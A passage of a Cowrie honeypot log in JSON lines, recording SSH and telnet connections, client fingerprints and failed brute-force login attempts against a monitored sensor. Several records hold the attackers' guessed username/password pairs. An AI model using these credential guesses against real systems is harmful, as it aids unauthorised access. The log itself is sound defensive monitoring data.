,"ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:26.201788Z","src_ip":"31.40.204.166","session":"d1448ed11f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.2024667263031,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:26.767843Z","src_ip":"152.42.224.71","session":"50009f69041b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"123","message":"login attempt [odoo/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:26.782121Z","src_ip":"31.40.204.166","session":"d1448ed11f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:27.924945Z","src_ip":"31.40.204.166","session":"d1448ed11f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.22287893295288,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:28.864222Z","src_ip":"152.42.224.71","session":"2e1701b1f1c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56690,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9117a354933","protocol":"telnet","message":"New connection: 152.42.224.71:56690 (10.17.0.5:23) [session: b9117a354933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:32.419881Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56700,"dst_ip":"10.17.0.5","dst_port":23,"session":"70374cc3a5b2","protocol":"telnet","message":"New connection: 152.42.224.71:56700 (10.17.0.5:23) [session: 70374cc3a5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:32.579829Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56704,"dst_ip":"10.17.0.5","dst_port":23,"session":"05d1d6a618e4","protocol":"telnet","message":"New connection: 152.42.224.71:56704 (10.17.0.5:23) [session: 05d1d6a618e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:32.962455Z"}
{"eventid":"cowrie.session.closed","duration":16.6847562789917,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:33.938522Z","src_ip":"152.42.224.71","session":"17a5b8d6a579","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":33870,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c378d154dce","protocol":"ssh","message":"New connection: 103.122.221.179:33870 (10.17.0.5:22) [session: 0c378d154dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:36.673749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:36.679118Z","src_ip":"103.122.221.179","session":"0c378d154dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:36.941800Z","src_ip":"103.122.221.179","session":"0c378d154dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20042004","message":"login attempt [root/20042004] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:37.730867Z","src_ip":"103.122.221.179","session":"0c378d154dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":60764,"dst_ip":"159.203.135.109","dst_port":22,"session":"6333d5eaf168","protocol":"ssh","message":"New connection: 31.40.204.166:60764 (159.203.135.109:22) [session: 6333d5eaf168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:37.779600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:37.784553Z","src_ip":"31.40.204.166","session":"6333d5eaf168","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43578,"dst_ip":"10.17.0.5","dst_port":23,"session":"6048afefc8ec","protocol":"telnet","message":"New connection: 152.42.224.71:43578 (10.17.0.5:23) [session: 6048afefc8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:37.839841Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:37.914592Z","src_ip":"31.40.204.166","session":"6333d5eaf168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.84693360328674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:38.181969Z","src_ip":"152.42.224.71","session":"9e4e27c7b686","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107169151306,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:38.227449Z","src_ip":"152.42.224.71","session":"44f518aed300","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:38.424276Z","src_ip":"31.40.204.166","session":"6333d5eaf168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:38.999458Z","src_ip":"103.122.221.179","session":"0c378d154dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:39.598502Z","src_ip":"31.40.204.166","session":"6333d5eaf168","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00181245803833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:40.055973Z","src_ip":"152.42.224.71","session":"52d46d810ef1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43590,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f59ad1cccc8","protocol":"telnet","message":"New connection: 152.42.224.71:43590 (10.17.0.5:23) [session: 7f59ad1cccc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:41.852633Z"}
{"eventid":"cowrie.session.closed","duration":120.00361967086792,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:44.383565Z","src_ip":"152.42.224.71","session":"0484ea8951fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46936,"dst_ip":"10.17.0.5","dst_port":23,"session":"f42e7da8d2b6","protocol":"telnet","message":"New connection: 152.42.224.71:46936 (10.17.0.5:23) [session: f42e7da8d2b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:46.047228Z"}
{"eventid":"cowrie.session.closed","duration":27.955360174179077,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:47.942060Z","src_ip":"152.42.224.71","session":"a9a5c977d8ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46940,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa590bd81926","protocol":"telnet","message":"New connection: 152.42.224.71:46940 (10.17.0.5:23) [session: aa590bd81926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:48.264036Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":55482,"dst_ip":"159.203.135.109","dst_port":22,"session":"e776f2446ef5","protocol":"ssh","message":"New connection: 103.82.36.79:55482 (159.203.135.109:22) [session: e776f2446ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:49.186198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:49.191017Z","src_ip":"103.82.36.79","session":"e776f2446ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:49.455793Z","src_ip":"103.82.36.79","session":"e776f2446ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:50.314533Z","src_ip":"103.82.36.79","session":"e776f2446ef5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52542,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d68141247b3","protocol":"ssh","message":"New connection: 31.40.204.166:52542 (159.203.135.109:22) [session: 2d68141247b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:51.083407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:51.097014Z","src_ip":"31.40.204.166","session":"2d68141247b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:51.206575Z","src_ip":"31.40.204.166","session":"2d68141247b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:51.577724Z","src_ip":"103.82.36.79","session":"e776f2446ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:52.017326Z","src_ip":"31.40.204.166","session":"2d68141247b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:53.195404Z","src_ip":"31.40.204.166","session":"2d68141247b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.374375343322754,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:55.398901Z","src_ip":"152.42.224.71","session":"4122145f110b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.44011116027832,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:57.402436Z","src_ip":"152.42.224.71","session":"05d1d6a618e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.03428864479065,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:06:58.874004Z","src_ip":"152.42.224.71","session":"6048afefc8ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.82405614852905,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:00.106390Z","src_ip":"152.42.224.71","session":"50dd7841b338","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46718,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6f11725889f","protocol":"telnet","message":"New connection: 152.42.224.71:46718 (10.17.0.5:23) [session: b6f11725889f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:01.628838Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46728,"dst_ip":"10.17.0.5","dst_port":23,"session":"63b6d990db07","protocol":"telnet","message":"New connection: 152.42.224.71:46728 (10.17.0.5:23) [session: 63b6d990db07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:02.246201Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":37358,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8dbfc1ae0e3","protocol":"ssh","message":"New connection: 31.40.204.166:37358 (159.203.135.109:22) [session: e8dbfc1ae0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:02.612637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:02.618265Z","src_ip":"31.40.204.166","session":"e8dbfc1ae0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:02.799643Z","src_ip":"31.40.204.166","session":"e8dbfc1ae0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:03.392868Z","src_ip":"31.40.204.166","session":"e8dbfc1ae0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46738,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a2662f619e8","protocol":"telnet","message":"New connection: 152.42.224.71:46738 (10.17.0.5:23) [session: 1a2662f619e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:04.129736Z"}
{"eventid":"cowrie.session.closed","duration":120.00083589553833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:04.202911Z","src_ip":"152.42.224.71","session":"b07c83529435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:04.602811Z","src_ip":"31.40.204.166","session":"e8dbfc1ae0e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49086,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b63778c55c0","protocol":"telnet","message":"New connection: 152.42.224.71:49086 (10.17.0.5:23) [session: 1b63778c55c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:08.178785Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49092,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f1208963e5a","protocol":"telnet","message":"New connection: 152.42.224.71:49092 (10.17.0.5:23) [session: 9f1208963e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:08.501434Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49098,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc710875f1f2","protocol":"telnet","message":"New connection: 152.42.224.71:49098 (10.17.0.5:23) [session: dc710875f1f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:09.504735Z"}
{"eventid":"cowrie.session.closed","duration":31.119885444641113,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:12.972374Z","src_ip":"152.42.224.71","session":"7f59ad1cccc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49106,"dst_ip":"10.17.0.5","dst_port":23,"session":"50c5609ffafc","protocol":"telnet","message":"New connection: 152.42.224.71:49106 (10.17.0.5:23) [session: 50c5609ffafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:13.412205Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49112,"dst_ip":"10.17.0.5","dst_port":23,"session":"13d555f73a23","protocol":"telnet","message":"New connection: 152.42.224.71:49112 (10.17.0.5:23) [session: 13d555f73a23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:07:13.547483Z"}
